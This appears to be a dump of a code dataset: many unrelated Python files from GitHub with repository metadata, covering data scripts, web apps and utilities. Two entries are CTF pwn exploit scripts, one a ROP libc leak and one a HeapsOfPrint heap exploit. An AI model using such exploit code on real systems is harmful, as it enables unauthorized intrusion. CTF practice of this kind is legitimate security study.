seq_id
stringlengths
4
11
text
stringlengths
113
2.92M
repo_name
stringlengths
4
125
sub_path
stringlengths
3
214
file_name
stringlengths
3
160
file_ext
stringclasses
18 values
file_size_in_byte
int64
113
2.92M
program_lang
stringclasses
1 value
lang
stringclasses
93 values
doc_type
stringclasses
1 value
stars
int64
0
179k
dataset
stringclasses
3 values
pt
stringclasses
78 values
354278636
from html_parser import MyHTMLParser import urllib.request from bs4 import BeautifulSoup import requests from language_detecter import LanguageDetector parser = MyHTMLParser() #url = "https://www.vpnverbinding.nl/beste-vpn/netflix/" url = "https://www.vpnconexion.es/blog/mejor-vpn-para-netflix/?_ga=2.224715098.13068...
ferchovzla/translated_words_checker
main.py
main.py
py
1,587
python
en
code
0
github-code
1
17444531898
import math #1. def calculateSphere(radius): v = 4/3*math.pi*radius**3 a = 4*math.pi*(radius**2) print("The Volume of your sphere is " +str(v)) print("the Area of your sphere is " +str(a)) #2. def calPizzaSquarePrize(diameter,prize): radius = diameter/2 area = math.pi*radius**2 prizePerSq...
GabrielHodada/python_programming_an_introduction_to_computer_science
chapter3/programming_exercises.py
programming_exercises.py
py
3,355
python
en
code
0
github-code
1
6105998977
''' Consider a special family of Engineers and Doctors. This family has the following rules: Everybody has two children. The first child of an Engineer is an Engineer and the second child is a Doctor. The first child of a Doctor is a Doctor and the second child is an Engineer. All generations of Doctors and Engineers ...
chuckinator0/Projects
scripts/findProfession.py
findProfession.py
py
4,201
python
en
code
17
github-code
1
7409422157
import os import re import sys def main(version): if len(sys.argv) != 4: print("[ERROR] Missing one of arguments: version (PREVIOUS) such as: X.Y.Z or userid or token") sys.exit() version = sys.argv[1] userid = sys.argv[2] token = sys.argv[3] ver_pattern = re.compile("^[0-9]+\.[0-9]...
fdefelici/react-bootstrap-combobox
.auto/rdoc.py
rdoc.py
py
694
python
en
code
4
github-code
1
12287855696
import cv2 import numpy as np from calibrate_frame import * from socket import gethostname class Camera(object): """ Camera access wrapper. """ def __init__(self, pitch=0, port=0, test = 0): self.capture = cv2.VideoCapture(port) self.pitch = pitch self.test = test def get...
pbsinclair42/SDP-2016
vision/camera.py
camera.py
py
757
python
en
code
2
github-code
1
7305556059
import integration_logic from unittest import TestCase class TestReadAndPreprocess(TestCase): def test_integration(self): with open(integration_logic.integration_sources + 'complex_preprocessed.c') as expected_file: expected_result = expected_file.read() preprecessed_source = integrati...
akhtyamovrr/plagchecker
integration-tests/read_and_preprocess.py
read_and_preprocess.py
py
415
python
en
code
0
github-code
1
11053272128
import numpy as np """ ================== CREDITS ======================= The code in this file was written by Hanna Hultin. """ class LOB: def __init__(self, data, outside_volume=1, include_spread_levels=True): self.data = data.reshape((2, -1)) self.num_levels = self.data.shape[1] - 1 s...
KodAgge/Reinforcement-Learning-for-Market-Making
code/environments/mc_model/lob_utils/lob_functions.py
lob_functions.py
py
19,352
python
en
code
85
github-code
1
14443118585
import dash from dash import dcc from dash import html from dash import dash_table from dash.dependencies import Input, Output import dash_bootstrap_components as dbc from flask import Flask from flask import render_template, Response import pandas as pd import edgeiq import cv2 import time # edgeIQ camera = edgeiq...
alwaysai/dash-interactive-streamer
app.py
app.py
py
4,157
python
en
code
3
github-code
1
8433446156
print("ddddd") print("你好啊") a=12 b=13 c=a+b print(c) str222= 'ni hao a xiao pengyou ' len = len(str222) print(len) def pp(): print("ni zhen shuai") pp() def g_tokg(g1): kg1= g1/1000 print(kg1) g_tokg(2000) import math def tri(a1,b1): c2 = a1*a1+b1*b1 c1= math.sqrt(c2) print(c1) tri(3,4) file ...
ron1983/test2
tt2.py
tt2.py
py
1,965
python
en
code
0
github-code
1
11558811899
# xiang59915练习 import socket as s # 导入socket模块 import os server = s.socket() # 创建套接字 PORT = 2333 # 设置端口号为2333 server.bind(("localhost", PORT)) server.listen(8) print("等待客户端连接...") while True: conn, addr = server.accept() print("客户端的IP地址和端口信息",addr) data = conn.recv(1024) print("客户端回应",repr(data)) FileNam...
xiang59915/Fresh
FileTransferServer.py
FileTransferServer.py
py
682
python
en
code
0
github-code
1
16240105834
import pandas as pd df = pd.read_csv("matrix/matrix.csv") columns = df.columns line = " ----- " cols = "|" sep = "|" lines_ = "|" for i ,col in enumerate(columns): cols = cols + col+sep lines_ = lines_+line+sep kk = [] print(cols) print(lines_) for row in df.values: ll = "" for r in row: ll ...
otman-ai/banking-edaa
tabelMdBuilder.py
tabelMdBuilder.py
py
384
python
en
code
1
github-code
1
12047781262
import argparse import json from pyspark.sql import SparkSession def main(input_hfs_path, outliers_output_hfs_path, clean_output_hfs_path, config): from filters.api import resolve_filter spark = SparkSession \ .builder \ .appName("TextOutlier") \ .getOrCreat...
zphang/big_data_proj
main.py
main.py
py
3,316
python
en
code
0
github-code
1
26205226971
#!/usr/bin/env python3 import json import logging from watchdog.events import FileSystemEventHandler, FileModifiedEvent from watchdog.observers import Observer import xml.etree.ElementTree as ET logger = logging.getLogger(__name__) class IoMBianAvahiServicesFileHandler(FileSystemEventHandler): def __init__(sel...
Tknika/iombian-services-uploader
src/iombian_avahi_services_file_handler.py
iombian_avahi_services_file_handler.py
py
1,997
python
en
code
0
github-code
1
27178702909
from flask import Flask, request, render_template students = [ {'studentNo': '10001', 'studentName': 'Student 1'}, {'studentNo': '10002', 'studentName': 'Student 2'}, ] app = Flask(__name__) @app.route('/') def index(): return render_template('index.html', students=students) app.run(debug=True)
pytutorial/flask_students1
app.py
app.py
py
320
python
en
code
0
github-code
1
38937161065
import os, sys from graphite_paper.local_django.settings.base import * # Development Settings DEBUG=True SUPER_DEBUG=False # Path settings PROJECT_DIRECTORY = os.path.dirname(os.path.dirname(__file__)) PAGES_DIRECTORY = os.path.join(PROJECT_DIRECTORY, "pages") OUTPUT_DIRECTORY = os.path.join(PROJECT_DIRECTORY, "_bu...
crosssenses/sample-journal
sample-paper-en/config/development.py
development.py
py
759
python
en
code
1
github-code
1
72593883233
""" pretrain a word2vec on the corpus""" import argparse import os from os.path import join, exists from time import time from datetime import timedelta import gensim class Sentences(object): """ needed for gensim word2vec training""" def __init__(self, data_path): with open(data_path, '...
behome/tianchi
code/train_word2vec.py
train_word2vec.py
py
1,821
python
en
code
0
github-code
1
72116404835
# Sequential Search def linear_search(arr, x): return next((i for i in range(len(arr)) if arr[i] == x), -1) # Driver Code if __name__ == '__main__': arr = [2, 3, 4, 10, 40] x = 10 result = linear_search(arr, x) if result == -1: print("Element is not present in array") els...
Berkan352/Algorithms
SearchAlgorithms/LinearSearch.py
LinearSearch.py
py
388
python
en
code
0
github-code
1
23259752199
import pandas as pd import numpy as np import matplotlib.pyplot as plt from lmfit import Model import scienceplots elements=['Al','Mo','Ni','Ti','Zn'] alphas=[1.486,17.480,7.480,4.512,8.637] mpos=[200,1600,800,500,900] Mpos=[-3800,-2100,-3200,-3525,-3100] resolutions=[] res_unc=[] def gaussian(x,amp,cen,sig): re...
g-Baptista-gg/TecEsp
enRes.py
enRes.py
py
1,594
python
en
code
0
github-code
1
25277572487
import csv class Tempa: def seoula(self): f = open('D:\\OPENEG\\FT\\PycharmProjects\\js\\ta.csv'); # f = open('C:\\PycharmProjects\\js\\ta.csv'); data = csv.reader(f); header = next(data); tempa = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]; # for i in range(10): # ...
devheyrin/Python_JS
data/tempa.py
tempa.py
py
1,445
python
en
code
0
github-code
1
74934217314
import logging from datetime import timedelta from typing import Optional _LOGGER = logging.getLogger(__name__) class WorkInterval: def __init__(self, duration: timedelta, minimum: timedelta, maximum: timedelta, warmup: Optional[timedelta], tick_duration: timedelta): self._tick_duration = tick_duration.s...
yanoosh/home-assistant-heating-radiator
custom_components/heating_radiator/WorkInterval.py
WorkInterval.py
py
1,660
python
en
code
0
github-code
1
29117146678
import os import shutil import tkinter as tk from tkinter import filedialog, messagebox # 游戏路径 path = r"D:\steam\steamapps\common\NARAKA BLADEPOINT\StartGame.exe" path_audio = "NarakaBladepoint_Data\StreamingAssets\Audio\GeneratedSoundBanks\Windows" # 角色列表 role_names_zh = ['宁红夜', '特木尔', '迦南', '季沧海', '胡桃', '...
Rirock/yjwujian
main.py
main.py
py
6,583
python
en
code
0
github-code
1
23174498201
'''A modified Kaprekar number is a positive whole number with a special property. If you square it, then split the number into two integers and sum those integers, you have the same value you started with. Consider a positive whole number n with d digits. We square n to arrive at a number that is either 2*d digits lo...
7Aishwarya/HakerRank-Solutions
Algorithms/modified_kaprekar_numbers.py
modified_kaprekar_numbers.py
py
1,957
python
en
code
6
github-code
1
6761266835
class Solution: def isPowerOfThree(self, n: int) -> bool: if n > 0 and (3**19) % n == 0: return True return False def main(): ans = Solution() n = int(input()) print(ans.isPowerOfThree(n)) if __name__ == "__main__": main()
tab21/100DaysOfCode
codes/Day55.py
Day55.py
py
275
python
en
code
0
github-code
1
34559411929
import os os.environ['TOKENIZERS_PARALLELISM']='false' import sys import torch import time import math import shutil import pandas as pd from dataclasses import dataclass from collections import defaultdict from torch.cuda.amp import GradScaler from torch.utils.data import DataLoader from transformers import get_const...
KonradHabel/learning_equality
train.py
train.py
py
26,975
python
en
code
9
github-code
1
15212267498
import pandas_profiling from pathlib import Path import glob import argparse import matplotlib.pyplot as plt import pandas as pd import os.path as osp import xml.etree.ElementTree as ET import numpy as np from collections import Counter title =['filename', 'img_width', 'img_height', 'img_dep...
fanqie03/mmdetection.bak
tools/analyze_voc.py
analyze_voc.py
py
3,061
python
en
code
2
github-code
1
40818146249
# n, t = [int(x) for x in input().split()] t = 2 # a = [int(x) for x in input().split()] a = [int(1e9) for _ in range(int(1e5))] prev = a[0] val = 0 vad = 0 for i in a[1:]: if i <= prev: k = 0 lo = -1 hi = int(1e5) while hi - lo > 1: m = (lo + hi) // 2 if i +...
yakuri354/cp
qual/vuzak/d.py
d.py
py
613
python
en
code
0
github-code
1
4911617378
import json from django.core.management.base import BaseCommand from domain.policies.models import Policy class Command(BaseCommand): help = "seeds the database with default data from a JSON file" def handle(self, *args, **options): with open("seed.json", "r") as json_file: seed = json.lo...
antoniopataro/decision-engine
config_backend/api/management/commands/seed.py
seed.py
py
548
python
en
code
0
github-code
1
29250253175
class Node: def __init__(self, data): self.val = data self.next = None class Stack: def __init__(self): self.head = None self.max = 5 def push(self, data): if self.length() <= self.max: newNode = Node(data) newNode.next = self.head ...
ho991217/Python
PAlgorithm/Day10/Test02.py
Test02.py
py
1,218
python
en
code
0
github-code
1
17436198272
from flask import Flask, request, render_template app = Flask(__name__) ## Q1. Create a Flask application that displays "Hello, World!" on the homepage. @app.route("/") def index(): return "Hello World" ## Q2. Write a Flask route that takes a name parameter and returns "Hello, [name]!" as plain text. @app.rou...
abhisunny2610/Data-Science
Python Practice Set/Practice Solution 11/app.py
app.py
py
1,022
python
en
code
1
github-code
1
73033974433
# -*- coding: utf-8 -*- ''' Management of PostgreSQL extensions (e.g.: postgis) =================================================== The postgres_extensions module is used to create and manage Postgres extensions. .. code-block:: yaml adminpack: postgres_extension.present .. versionadded:: 2014.7.0 ''' fr...
shineforever/ops
salt/salt/states/postgres_extension.py
postgres_extension.py
py
5,852
python
en
code
9
github-code
1
73471784033
# F17 - Exit def exit(hasil): answer = input("Apakah Anda mau melakukan penyimpanan file yang sudah diubah? (y/n) ") while (answer != "y" or answer != "Y" or answer != "n" or answer != "N"): answer = input("Apakah Anda mau melakukan penyimpanan file yang sudah diubah? (y/n) ") if (answer == "Y"...
IvanLeovandi/Tugas-Besar-IF1210-Dasar-Pemrograman-2021-2022
Source Code/exit.py
exit.py
py
564
python
id
code
3
github-code
1
32244769321
from tkinter import * import tkinter as tk from tkinter import ttk import tkinter.messagebox as messagebox import sqlite3 from PIL import Image,ImageTk from OperationUI.OperationCommandGUI import * from OperationUI.Colors import * if __name__ == "__main__": # Create the main window: root.geometry("1440x826") ...
iamnopkm/python-project
main.py
main.py
py
4,422
python
en
code
0
github-code
1
74260956832
from pwn import * import requests #context.log_level = 'debug' context.binary = ELF('./rop') r = remote('challenges.ctfd.io', 30261) '''def GetLibC(puts): req = requests.post('https://libc.rip/api/find', json = {'symbols':{'puts':hex(puts)[-3:]}}) libc_url = req.json()[0]['download_url'] libc_file = lib...
NotHotdogCTF/NACTF_2020
BinaryExploitation/dROPit/exploit.py
exploit.py
py
1,451
python
en
code
0
github-code
1
1473194817
import random import math import string from django.shortcuts import render,HttpResponseRedirect, HttpResponse from main.models import * def home(request): return render(request, "Employee/home.html") def approval(request): enrollments = Enrollment.objects.filter(status="pending") return render...
CodingSectorDeveloper/sms-1
employee/views.py
views.py
py
4,093
python
en
code
0
github-code
1
29867234262
import pytest import requests import json def test_product(): url = 'http://commdity-develop.kapeixi.cn/product/PPI1001001' headers = {"content-type": "application/json"} para = {'skuIdList': [773, 778, 788]} r = requests.post(url, json=para, headers=headers) print(json.dumps(r.json(),indent=2,en...
jmc517/HogwartsANDY15
service/api_test.py
api_test.py
py
405
python
en
code
0
github-code
1
17960788548
x0 = 2448 y0 = 2048 z0 = int(input("z0: ")) ovx = 245 ovy = 205 dimx = int(input("dimx: ")) dimy = int(input("dimy: ")) umppx0 = 1.43 umppy0 = 1.43 umppz0 = 5.0 xf = int(input("xf: ")) yf = int(input("yf: ")) zf = int(input("zf: ")) umppx = None umppy = None umppz = None def calcScaling(): x1 = (x0 * dimx) - (...
JulianPitney/stitchScalingCalculator
lightsheet_stitched_scaling_calculator.py
lightsheet_stitched_scaling_calculator.py
py
605
python
en
code
0
github-code
1
3090309836
#!/usr/bin/python """ Script used to connect to the edX MongoDB produce a file with the course content nicely printed to it. """ import argparse import json import os import re def is_id(string): """Check string to see if matches UUID syntax of alphanumeric, 32 chars long.""" regex = re.compile('[0-9a-f]{32}\...
powersj/ocv
src/edx_course_json.py
edx_course_json.py
py
4,356
python
en
code
0
github-code
1
35335815963
import tensorflow as tf from tensorflow.examples.tutorials.mnist import mnist def decode(serialized_example): """Parses an image and label from the given `serialized_example`.""" features = tf.parse_single_example( serialized_example, # Defaults are not specified since both keys are required. ...
NeerajKomuravalli/learning_scripts-
python_scripts/neural_network/tf_scripts/read_from_tfRecords_MNIST.py
read_from_tfRecords_MNIST.py
py
2,509
python
en
code
0
github-code
1
23784084308
# coding=utf-8 from django import forms from django.urls import reverse from .models import Ad from app.models import City, Metro from categories.models import Category class SearchForm(forms.Form): search_word = forms.CharField(max_length=255, widget=forms.TextInput(attrs={ 'type': 'search', 'pl...
asmuratbek/tumar24
ad_app/forms.py
forms.py
py
2,916
python
en
code
0
github-code
1
33222326002
#!/usr/bin/python3 from pyrob.api import * # [2, 3, 5, 8, 12, 17, 23, 30, 38] # [1, 2, 4, 7, 11, 16, 22, 29, 37] # [1, 2, 3, 4, 5, 6, 7, 8] @task(delay=0.01) def task_7_5(): move_right() fill_cell() delta = 1 while not wall_is_on_the_right(): try: move_right(delta) ex...
ispaneli/mipt_python_robot_lab-01
mipt_python_robot_lab-01/task_27.py
task_27.py
py
494
python
en
code
0
github-code
1
72603211555
from filehandling.data_operations_file.data_persist_operation import EmpOperation from filehandling.data_operations_file.data_util import * from filehandling.data_operations_file.data_persist_empinfo import * class EmpOperImpl(EmpOperation): # def write_into_text(self,data): # pass # # def read_fr...
hakepg/operations
filehandling/data_operations_file/data_operation_impl.py
data_operation_impl.py
py
2,406
python
en
code
0
github-code
1
35425129253
# задание 1 anna, paul = 2, 5 # переменная со значением количества яблок у анны и пола print('У Анны', anna, 'яблока', 'У Пола', paul, 'яблок') # выводим одной функцией сколько у них яблок # задание 2 rebro = int(input('введите значение длины ребра куба: ')) # задаем ввод пользователем длинны ребра куба squar...
AlesyaPechuro/Python
lesson 2/Pechuro_104_lesson2.py
Pechuro_104_lesson2.py
py
1,533
python
ru
code
0
github-code
1
40110888665
# 코딩테스트 연습 > 스택/큐 > 프린터 from collections import deque def solution(priorities, location): # pre # index 와 priorities 합쳐서 enumerate Q = [(i, p) for i, p in enumerate(priorities)] ans = 0 # main while True: cur = Q.pop(0) # next if any(cur[1] < q[1] for q in Q): ...
WoojunePark/coding_test_python
3_DFS_and_BFS/3_C/p_42587.py
p_42587.py
py
505
python
en
code
0
github-code
1
1024252645
import csv import mysql.connector import argparse from matplotlib import pyplot as plt def query(sql, cursor): result = [] cursor.execute(sql) row = cursor.fetchone() while row is not None: result.append(row) row = cursor.fetchone() return result def query_result_to_parrellel_lis...
dmaahs2017/Se413-final
graph_datalake_data.py
graph_datalake_data.py
py
1,276
python
en
code
0
github-code
1
71360819875
# -*- coding: utf-8 -*- from chatterbot import ChatBot # Importa la clase ChatBot from chatterbot.trainers import ChatterBotCorpusTrainer from chatterbot.response_selection import get_most_frequent_response from chatterbot.comparisons import JaccardSimilarity from chatterbot.comparisons import LevenshteinDistance from...
alexlpz/chatBot
chatBot.py
chatBot.py
py
3,127
python
en
code
0
github-code
1
12767170570
def MainOP(): import time print("---------------------------") print("Good Day Players!") time.sleep(0.5) while True: time.sleep(1) GameMode = str(input("Which gamemode would you like to play?\n Enter 1 for Player Vs Player\n Enter 2 for Player Vs Computer\n Enter any other in...
ThomasMcCall12/BasicCounterGame
game1.py
game1.py
py
3,105
python
en
code
0
github-code
1
32702787469
# Como se dijo que la app manejaria las vistas, se creo este archivo. Aqui se # manejaran los mapeos de las direcciones dentro de la app. Esto con el # objetivo de que sea modular # Modificamos la url de categoria para pasar el parametro category_name_slug from django.conf.urls import url from rango import views # Cr...
alehpineda/tango_with_django_project
rango/urls.py
urls.py
py
748
python
es
code
0
github-code
1
22690451449
from django.shortcuts import render, redirect, get_object_or_404 from django.contrib.auth import authenticate, login, logout from django.contrib.auth.decorators import login_required from django.contrib import messages from django.http import HttpResponse from django.shortcuts import render, redirect from django.views....
MasterZesty/QuickNote
quicknote/notes/views.py
views.py
py
3,152
python
en
code
1
github-code
1
3521231776
import pickle import os import urllib.request as req import numpy as np import pandas as pd def load_hurdat2_data(hurdat_file): base_url = 'http://www.nhc.noaa.gov/data/hurdat/{}'.format(hurdat_file) filedir = 'cache' filename = '{}/hurdat2.p'.format(filedir) # Load from cache if file already ex...
NikolaiLH/analytics-projects
hurricane-trends/hurricane.py
hurricane.py
py
6,783
python
en
code
0
github-code
1
17065761069
# -*- coding: utf-8 -*- """ Created on Sun Jun 7 20:13:28 2020 @author: Neha Shinkre """ import requests url = 'http://localhost:5000/predict_api' r = requests.post(url,json={'Age':18, 'EstimatedSalary':9000}) print(r.json)
Nehaprog/IEEE-codersweek
new/request.py
request.py
py
229
python
en
code
0
github-code
1
38745175764
import cgi import logging import os import random import string from google.appengine.api import images from google.appengine.ext import db from google.appengine.ext import webapp from google.appengine.ext.webapp import template from google.appengine.ext.webapp.util import run_wsgi_app KEY_RANGE = range(random.randin...
ademirao/legendario
legendario.py
legendario.py
py
10,488
python
en
code
1
github-code
1
6033578794
import asyncio """ WRAPPING COROS INTO TASKS Wrapping coros into tasks, so that they could be run concurrently .ensure_future() = .create_task() """ async def say_after(delay: int, what: str) -> int: print(f"Sleeping {delay}. Word: {what}") await asyncio.sleep(delay) print(what) return delay asyn...
EvgeniiTitov/coding-practice
coding_practice/concurrency/asyncio/chapter_presentation/example_2.py
example_2.py
py
656
python
en
code
1
github-code
1
44697268734
import discord import os import requests import json import random from replit import db from keep_alive import keep_alive from discord.ext import commands,tasks from pytube import YouTube from pytube import Search import pafy import asyncio from discord import FFmpegPCMAudio bot = commands.Bot(command_prefix = '//')...
seikhchilli/EncourageBot
main.py
main.py
py
6,126
python
en
code
0
github-code
1
1858956859
import cv2 import numpy as np import random ######################################################### # FUNCTION TO FIND THE CONNECTED COMPONENTS ######################################################### def drawComponents(image, adj, block_size): #ret, labels = cv2.connectedComponents(image) #pri...
AgilePlaya/Image-Processing-Basics
Codes/Connected-Components/connected.py
connected.py
py
5,497
python
en
code
0
github-code
1
33403336012
from subprocess import call import math # S1 = 500 # S2 = 250 import sys import numpy as np import os from joblib import Parallel, delayed import multiprocessing # def run(Para1, Para2, Para3, S2_amp): def run(Para1, Popul_ID): # global mut #call(["./main","BCL", str(S1), "S2", str(S2), "Mutation", mut, "S1_...
drgrandilab/Ni-et-al-2023-Human-Atrial-Signaling-Model
PV-like_Populations/Simulations/run_pop.py
run_pop.py
py
1,799
python
en
code
0
github-code
1
34813097933
import requests from bs4 import BeautifulSoup as bs import time import sqlite3 ''' 由于网站反扒设置,此脚本仅能爬取部分章节 Summary: soup.get_text("|", strip=True) 获取tag包裹的内容并去除前后的空格 a['href'] 返回a标签下href属性的值 快捷键:输入main敲回车即可快速设置主函数 re.findall()加上re.S参数可以匹配到换行符,即把换行符包含进去 for key, value in urlst.items():可以迭代字典的key和valu...
mediew/pynote
spyder/biquge/biquge.py
biquge.py
py
2,674
python
en
code
0
github-code
1
11725823156
import numpy as np from PIL import Image from sys import argv import side_by_side L = 256 def histogram(im): return side_by_side.histogram_rgb(im) def uniform_hist(im): histogram_r, accum_r, histogram_g, accum_g, histogram_b, accum_b = histogram(im) def w_dot(r): wr = accum_r[r[0]] wg = ac...
gciruelos/imagenes-practicas
practica2/ej01-b.py
ej01-b.py
py
759
python
en
code
0
github-code
1
70356978594
class Node(object): def __init__(self, val, link=None): self.val = val if link is None or isinstance(link, Node): self.link = link else: self.link = node_from_iterable(link) def __repr__(self): return "({} . {})".format(self.val, repr(self.link)) def...
ajarara/python-33
thirtythree/decompositions.py
decompositions.py
py
1,850
python
en
code
0
github-code
1
15534508158
import gym from stable_baselines3.common.vec_env.dummy_vec_env import DummyVecEnv from stable_baselines3 import PPO, SAC from stable_baselines3.common.callbacks import EvalCallback from stable_baselines3.common.utils import get_schedule_fn from stable_baselines3.common.monitor import Monitor from stable_baselines3.com...
FaisalAhmed0/SLUSD
src/diayn.py
diayn.py
py
22,206
python
en
code
3
github-code
1
19092172950
import torch.nn as nn import torch.nn.functional as F import torch from ..builder import LOSSES from .utils import weight_reduce_loss def cross_entropy(pred, label, weight=None, reduction='mean', avg_factor=None, class_weight=N...
jichengyuan/semantic_loss_detection
mmdet/models/losses/semantic_loss.py
semantic_loss.py
py
2,907
python
en
code
1
github-code
1
1393116208
import collections class Solution: """ @param formula: a string @return: return a string """ def countOfAtoms(self, formula): # write your code here if not formula: return "" stack,l,i = [collections.Counter()],len(formula), 0 while i < l: if f...
NeroNL/algorithm
src/main/python/countOfAtoms.py
countOfAtoms.py
py
1,319
python
en
code
0
github-code
1
11910443233
from flask import jsonify, request from app.models import Clinical_info, Token from app import db def deleteClinicalInfo(id): '''delete clinical info record''' token = request.headers['TOKEN'] t=Token.query.filter_by(token=token).first() is_expired=t.status if id is...
the1Prince/drug_repo
app/deletes/deleteClinicalInfo.py
deleteClinicalInfo.py
py
899
python
en
code
0
github-code
1
74945181793
import fprops D = fprops.helmholtz_data_water; from pylab import * hold(1) # temperature array #TT = array([217, 230,240,250,260,280,290,300,310,350],'float') TT = array([620],'float') # density array rr = logspace(log10(10),log10(1200), 200) # legend strings L = [] subplot(3,1,1) for T in TT: pp = [max(fprops....
georgyberdyshev/ascend
models/johnpye/fprops/python/defunct/spinodal.py
spinodal.py
py
1,001
python
en
code
5
github-code
1
71728478115
""" 这里是线程 """ import threading ld = threading.local() ld.left = 189 print("current thread name ", threading.current_thread().name) print("main ld left : ", ld.left) print("type ld : ", type(ld)) print('on main has attr left', hasattr(ld, 'left')) def info(msg): ild = threading.local() tn = threading.cu...
mikeiansky/python-learn
src/thread_v1/thread_v1_1.py
thread_v1_1.py
py
805
python
en
code
0
github-code
1
74991654433
import pandas as pd # CSVファイルの読み込み file_path = '0921_chart_dshi/data/2020_2022사고 발생 데이터.csv' df = pd.read_csv(file_path, encoding='utf-8') # "구분"と"학교명"カラムを除外 columns_to_analyze = [col for col in df.columns if col not in ["구분", "학교명"]] for column in columns_to_analyze: column_data = df[column] # '사고발생시간'の場合、...
takaaaaaan/Minor_accident_data_dashboard
python/csv_rankin.py
csv_rankin.py
py
1,436
python
en
code
0
github-code
1
7459090493
import sys sys.stdin = open('input.txt') def get_man(idx, bulbs): tmp = idx while tmp < len(bulbs): bulbs[tmp] ^= 1 tmp += idx return bulbs def get_woman(idx, bulbs): right = idx + 1 left = idx - 1 if left < 1 or right > len(bulbs)-1: bulbs[idx] ^= 1 return b...
coolihans/TIL
Algorithms/boj/boj-IM/1244_스위치켜고끄기/김무종.py
김무종.py
py
1,110
python
en
code
0
github-code
1
42747898457
from pwn import * #context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] file = "./HeapsOfPrint" libc = ELF("libc.so.6") env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.so.6")} #conn = remote("flatearth.fluxfingers.net", 1747) conn = process(file, env=env) #gdb.attach(conn, """ #break *do_t...
DhavalKapil/ctf-writeups
hacklu-2017/HeapsOfPrint/exploit.py
exploit.py
py
2,623
python
en
code
22
github-code
1
39604455911
import multiprocessing import os import glob import sys import json from tqdm import tqdm from extractors.default import * def main(): if not os.path.exists('../finished'): os.makedirs('../finished') for parser in availableParsers: if not os.path.exists('../finished/%s' % pars...
schollz/parseingredient
src/parseHTML.py
parseHTML.py
py
1,163
python
en
code
2
github-code
1
17670564445
from django.utils import timezone from rest_framework import filters from rest_framework.response import Response from rest_framework import status, viewsets, permissions from url_filter.integrations.drf import DjangoFilterBackend from .models import ( User, Card, Transaction, ) from .serializers import ( User...
legacy72/its-animals-backend
bank/views.py
views.py
py
3,079
python
en
code
0
github-code
1
5812062496
from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium import webdriver import time import math browser = webdriver.Chrome() try: def ln(x): return math.log(x) def sin(x): ...
utkin7890/stepik_auto_tests_course
part2_lesson4_step8.py
part2_lesson4_step8.py
py
1,193
python
en
code
0
github-code
1
71067456994
import os def takeInput(): command = input("enter the command you want to execute on server, 'q' to quit\n") return command def writeFile(data, name): file = open(name, 'wb') file.write(data) file.close() return 0 def readFile(command): filePath = command[4:] if os.path.isfile(filePa...
divyanshu0x16/python_socket_rfs
client/fileService.py
fileService.py
py
497
python
en
code
0
github-code
1
24537225227
from pywinauto import Desktop import time, requests, os, threading import pyautogui from pywinauto import timings BASEURL = 'http://127.0.0.1:8000/' PING_TIMEOUT = 45 PING_FREQUENCY = 45 QUEUE_LIMIT = 10 QUEUE_FREQUENCY = 5 q_processor = None def exit_gracefully(): if q_processor: q_processor.stop() ...
jemartpacilan/converterServer
queue_processor.py
queue_processor.py
py
2,804
python
en
code
0
github-code
1
72122261475
import uuid from random import randint class Producto: def __init__(self,descripcion,codigoBarras,precio,proveedor): self.id = uuid.uuid4() self.descripcion = descripcion self.clave = randint(1,200) self.codigoBarras = codigoBarras self.precio = precio self.proveedor...
arcaex/TUP-Programacion-I
Python/POO/Práctica_Parcial.py
Práctica_Parcial.py
py
2,625
python
es
code
5
github-code
1
34196708642
from facenet_pytorch import MTCNN, InceptionResnetV1 import torch from torchvision import datasets from torch.utils.data import DataLoader import datetime # 初始化预训练的pytorch人脸检测模型MTCNN和预训练的pytorch人脸识别模型InceptionResnet mtcnn = MTCNN(image_size=240, margin=0, keep_all=False, min_face_size=40) resnet = InceptionResnetV1(pr...
YKK00/Face-Recognition-using-Python
Face-Recognition-PyTorch/train.py
train.py
py
1,404
python
en
code
0
github-code
1
11697817470
import os import environ # env env = environ.Env() # development DEBUG = True # base SECRET_KEY = env('SECRET_KEY', default='') ALLOWED_HOSTS = ['*'] ROOT_URLCONF = 'app.urls' WSGI_APPLICATION = 'app.wsgi.application' BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # static STATIC_URL = '/s...
Mc01/django-serverless
app/settings.py
settings.py
py
1,656
python
en
code
4
github-code
1
926199456
import numpy as np from data_utils import load_cifar10 import matplotlib.pyplot as plt from knn import KNearestNeighbor x_train,y_train,x_test,y_test = load_cifar10('cifar-10-batches-py') classes=['plane','car','bird','cat','deer','dog','frog','horse','ship','truck'] num_claesses=len(classes) samples_per_class=7 nu...
rosyYY/cs231n
1-knn/main.py
main.py
py
2,923
python
en
code
1
github-code
1
7662960040
#Alex Black import cv2 import numpy as np import io from PIL import Image from threading import Thread import collections frame = cv2.VideoCapture( 0 ) kern = np.ones( ( 1, 1 ), np.uint8 ) i = 0 while True: i+=1 print( i ) _,cimg = frame.read() #cimg = cv2.imread( 'test.png' ) cimgh, cimgw, _ = ...
shihaocao/RC1
areacompare.py
areacompare.py
py
2,878
python
en
code
2
github-code
1
44769772301
from .common import * def lambda_list_files(event: dict, context): body: dict = json.loads(event['body']) headers: dict = event['headers'] album_uuid: str = body['album_uuid'] album_owner: str = body['album_owner'] username: str = jwt_decode(headers) if not user_exists(username): re...
magley/klau-drive
src/lambdas/lambda_list_files.py
lambda_list_files.py
py
1,868
python
en
code
0
github-code
1
21591551482
from class_def import ClassDef, TemplateClass from intbase import InterpreterBase, ErrorType from bparser import BParser from object import ObjectDef from type_value import TypeManager # need to document that each class has at least one method guaranteed # Main interpreter class class Interpreter(InterpreterBase): ...
MubaiHua/cs131-project-3
interpreterv3.py
interpreterv3.py
py
6,467
python
en
code
0
github-code
1
30903061705
import requests import bs4 from bs4.dammit import EncodingDetector from urllib.request import Request, urlopen, urlretrieve def get_flag(url): try: url = url.replace(" ", "%20") useragent = ["Mozilla/5.0 (compatible; Googlebot/2.1; +http://google.com/bot.html)", "Mozilla/5.0 (W...
cfowles27293/leetcode
venv/server_get_exploit.py
server_get_exploit.py
py
1,332
python
en
code
0
github-code
1
28126252814
import sys input = sys.stdin.readline S = list(input()[:-1]) L = len(S) - 1 ans = 0 for bitnum in range(2**L): t = S.copy() for i in range(L): if (bitnum>>i) & 1: t[i] += "+" ans += eval(''.join(t)) print(ans)
pr0xy-t/_atcoder
ABC/061/C.py
C.py
py
249
python
en
code
0
github-code
1
